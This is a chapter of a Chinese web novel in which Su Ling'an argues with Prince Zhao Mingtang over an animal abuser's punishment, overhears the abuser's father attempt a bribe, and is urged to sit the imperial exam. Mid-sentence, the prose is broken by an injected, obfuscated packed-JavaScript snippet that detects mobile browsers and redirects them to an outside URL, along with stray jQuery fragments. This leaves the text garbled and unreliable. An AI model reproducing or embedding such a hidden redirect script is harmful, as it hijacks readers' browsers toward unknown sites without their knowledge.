17. 第 17 章

作品:《被妖鬼逼着考状元养家

    苏令安的话像一颗石子掉入大海,一个浪花过去,无事发生。


    他怒气冲冲去找赵明堂,质问他为何这样判。


    “稚卿,杨万才此事已经了结。”赵明堂不明白,人已经受到了处罚,还要他怎么样?


    “他虐猫呀!”苏令安咆哮道,“完全已经称不上是人了,是畜生,你不是看见了吗?那么多猫、狗的尸体,你还派人去挖了其他的院落,不只白只吧?他就是个杀人犯,是个败类,壕无人性。”


    “所以呢?”赵明堂的眸里倒映着苏令安怒不可遏的脸,表情没有一丝波动。


    苏令安不可置信地看着他,问道:“如果是小晏呢?我是说假如,如果是小晏被他抓去了,也被这样对待了?你会怎么办?”


    “这个世界上没有如果。”


    “请你回答我的如果。”苏令安执拗地问道。


    赵明堂比他高,那双眸子向下看人的时候,冷淡傲慢。


    “如果他敢这样做,我必定让他承受千百倍的痛苦。”


    “哈。”苏令安气到无语,双标呀,他举起手,指着他,笑了一下,又放下来。


    “我该说你睚眦必报,还是,还是”他气的不知道怎么形容这个人了,事不关己高高挂起是吧?别人的猫就不是猫了是吧?他这个没有同情心的狗崽子!苏令安简直想跳起来打他一拳。


    赵明堂坐下来,喝了一口茶,将旁边的糕点推过去,平静问道:“吃吗?”


    “吃吃吃,我气饱了。”说着,苏令安端起他的茶杯,一饮而尽,让你喝,我给你喝完了,看你喝什么!


    赵明堂盯着他的红唇,水润潋滟,粉面含春,一双眸子因为怒意,熠熠生辉。


    慢条斯理地说道:“目前的律法是这样的,我也没有办法。”


    “你是二皇子哎!想干什么不是一句话的事吗?”


    “稚卿是想让我徇私枉法,利用职权不顾律法将他格杀?”


    “他犯了罪,就应该受罚!”


    “犯罪如何规定?难道只因我一句话就将他定罪吗?稚卿,我没那么大本事。”


    没那么大本事?苏令安哑口无言,定罪不是凭他一人之言,他何尝不知,只是心有不甘,动物的命就不是命了吗?他心中难受,想到那些猫儿的尸体,想到那团痛苦无法宣泄的黑雾,眼泪就止不住掉下来。


    它们什么都不知道,就因为投身到畜生道,就该被人类随意虐杀吗?就算是猪是羊,被宰杀时也不会刻意去虐待,就因为是弱者,所以面对比自己高纬度的人类时,就该奉上自己的血肉,任其撕咬拆皮碎骨吗?


    面对苏令安哀伤迷茫的眼神,赵明堂怜悯地说道:“弱肉强食是亘古的法则。”


    “不,不是的。”苏令安无法认同。


    “稚卿,这个世界不会因为你的一句不认同而改变的,惜哉士卒多苦暴,强食弱肉鸱鸮同(出自《闻李帅逐寇复州治》),弱者被强者碾压、吞并,自古有之。”


    “清晏,那你保护小晏,本质上也是以强凌弱吗?”


    赵明堂挑眉,回道:“可以这么说,伤害小晏的人比我弱小,那么我就可以让他用命来偿还而不受到任何谴责。”


    “如果这人比你强大呢?”苏令安的眼里迸发出耀眼的光亮,带着燃烧一切,不肯屈服的灼灼生机。


    赵明堂反问他:“稚卿这可把我难住了,如果你是我,你会怎么做呢?”


    “我不会是你。”苏令安沸腾的血液在燃烧,天地不仁以万物为刍狗,圣人不仁以百姓为刍狗(出自道德经)。贵人们高高在上,享受一切利益尊荣,偶尔的怜悯不过建立在不损害自身的利益上罢了,平民在他们眼里不过是卑贱的蝼蚁。


    恰如赵明堂对杨万才,杨万才对猫猫狗狗,作为下层眼里的上层,享受一切特殊待遇。


    可真的是这样吗?真理只掌握在强者的手中?那么所谓的律法也要为其让步吗?


    苏令安坚定地回道:“野火烧不尽,生命是强大的神圣的,尽管是最弱小的□□,在临死前也会呐喊也会不甘,它们或许是软弱的,但是总有人会抗争会凝聚,它们不是任人宰割的羔羊,它们有自己的思想有自己的灵魂,有燃烧的怒火,有反抗的决心!”


    “你要做那个出头人吗?”


    “我不是那个出头人,我是他们中的一员,但如果他们仍在混沌中挣扎,我愿意做那个撕开光亮的马前卒。适者生存物竞天择,没人能选择自己出生如何,但是后来者也可以居上,弱者不该理所应当成强者的养分。”


    “弱者也可以成为强者,然后去保护更多的弱者。杨万才的强是灭人性恃强凌弱,他不能以一句强弱概念去概括去苟活,我以为的律法是伸张公平保护弱者权益、规范人们生活的准则。不是罪大恶极者为自己狡辩的工具,这违背了建立律法者维护社会秩序和公平正义的初衷。”


    “说得很好。”赵明堂鼓掌,继续浇冷水:“可问题是,你拿什么来反抗呢?”


    苏令安还未回答,门外有人禀告,杨员外杨明申来了。


    “二皇子殿下,感谢您高抬贵手,饶了小儿一命,这是区区薄礼不成敬意。”


    “我也是秉公执法,这些东西你拿回去吧,令郎杀心甚重,游街后回去需修生养性,上天有好生之德,勿要再动杀念,尤其是虐杀。”


    “古有四不杀,对一些生命也是需要保持敬畏之心的,圣上云:不得屠杀少齿、战马,皆因其有功、有利于民生,狗在民间看家护院,因其忠诚的天性,也有俗语:善屠狗反被狗所屠。狸奴虽不易驯养,但也曾抓鼠护农田。”


    “万物有灵,人亦有情。令郎回去好好反省,口腹之欲再不改改,可能下一次就没有那么好运了。”赵明堂意有所指地说道。


    杨明申冷汗直冒,儿子经此一事,名声算是毁了,以后仕途怕是不成了,只能做个富贵闲人,这位殿下他看不清底细,儿子被抓后,他来之前也是没有底气,没成想这位竟然很好说话。


    事成之后,他携上重礼前来感谢,没想到这主看都不看一眼,要他拿回去。


    这倒让他摸不着头脑了。


    于是他小心翼翼地试探:“殿下,城外二十里,我有一处宅子,才修建好,算是个散心休憩的好地方,还有一点良田,有专人打理,平日不用费心,您要是不嫌弃,拿去当别院?”


    赵明堂似笑非笑地看着他,半晌,缓缓说道:“我听闻杨员外的女婿是颜老的门生,前年高中,授大理评事,现掌管盐运,任盐官,前途无量呀。?”


    “是。”杨明神回道。


    这些信息稍加打探都能知道,不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245470|197876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    算什么秘密。


    得到自己想要的信息,赵明堂笑容更胜,说了一句:“令郎最好把那些卖出去的货物寻回来。”


    “小人愚钝。”


    “这些玉器毕竟是污秽之物,如果爱好别致新奇的贵人买了回去,发现这玉器来路如此残忍,不免觉得晦气。”赵明堂点到即止。


    杨明申听出言外之意,如若查到这玉石出自杨万才之手,那后果,他惊出一身冷汗。连忙道谢:“多谢殿下提点。”


    “去吧。”


    来时得意去时匆匆,螳螂捕蝉黄雀在后,挟弹者又在其后,此之谓矣。(出自《韩诗外传》)


    苏令安从屏风后走出来,眉眼沉静,不发一语。


    “怎么?不痛骂我?”赵明堂问。


    “痛骂如何,不痛骂又如何,事已至此。”苏令安平淡回道,手却不自觉捏成拳,痛骂毫无用处。


    “清晏,我能相信你吗?”


    没有质问,没有伤心,有的只是一句我能相信你吗?他明明看见了,杨万才之父贿赂他,让他帮助他的儿子杨万才脱困,他今日宣判和所言,无不在说明,他已背叛了苏令安的信任,倒戈了另一方。


    可苏令安居然问上这样一句话。


    可爱又可笑。


    赵明堂眼光一闪,盯着苏令安漂亮、执着的眼睛,良久后,缓缓说道:“力所能及,乐意之至。”


    苏令安让赵明堂把查来的东西尽数给他看,人手什么的也备上。


    “稚卿倒是信我。”赵明堂坐在一旁,摸着小晏的脊背,好生自在。


    “你刚刚是故意给我看的。”苏令安将需要的信息组合,他明白,如若赵明堂不管这事了,绝不会让他站在屏风后,听得他与杨明申之间的对话。


    光明正大让他听,光明正大让他看,赵明堂的心思他猜不透,但不妨碍他利用。时间宝贵,即使希望渺茫,他也要伸张正义,绝不让此等小人逍遥法外,他才不信杨万才会洗心革面,这次放他回去了,以后不知道还有多少小动物会被害呢。


    “是想杀了他吗?稚卿若是想,我可以偷偷帮忙。”赵明堂引诱他。


    “哼,我要把他的罪行昭告天下,警告那些暗地里虐杀动物的无耻之人,让他们知道世风日下,罪恶终有报应。不是你简单的一句杀了就完事的,杀人很容易,但道理和真相更重要。”苏令安铿锵有力地回道。


    “哦,稚卿如若当官,必定是爱民如子的好官。”赵明堂提议道,“你就没有想过考个状元当当吗?”


    “考状元?我吗?”苏令安扔了一团纸过去,这人此刻还在开玩笑,自己什么水平自己能不知道吗?他白他一眼。


    赵明堂用手接住那团纸,轻轻放在一旁,肯定地说道:“是,稚卿是不世之材。你想想,只有你站在高处,才能为你想庇佑之人修建一处遮风挡雨的屋檐,你爬得越高,才能做你口中弱者的保护伞。稚卿,你好好想想,伸张正义为民请命不正是你所思所求吗?”


    苏令安翻动纸张的手一顿,抿了抿唇,暂时没有回答他。


    在这个时代,他的身份一开始就是个雷点,走上仕途之路,也是他想都不敢想的,弄不好可是要抄家灭族的。


    前路茫茫,自己只是时代洪流中一叶扁舟,从何来,如何去,都由不得他。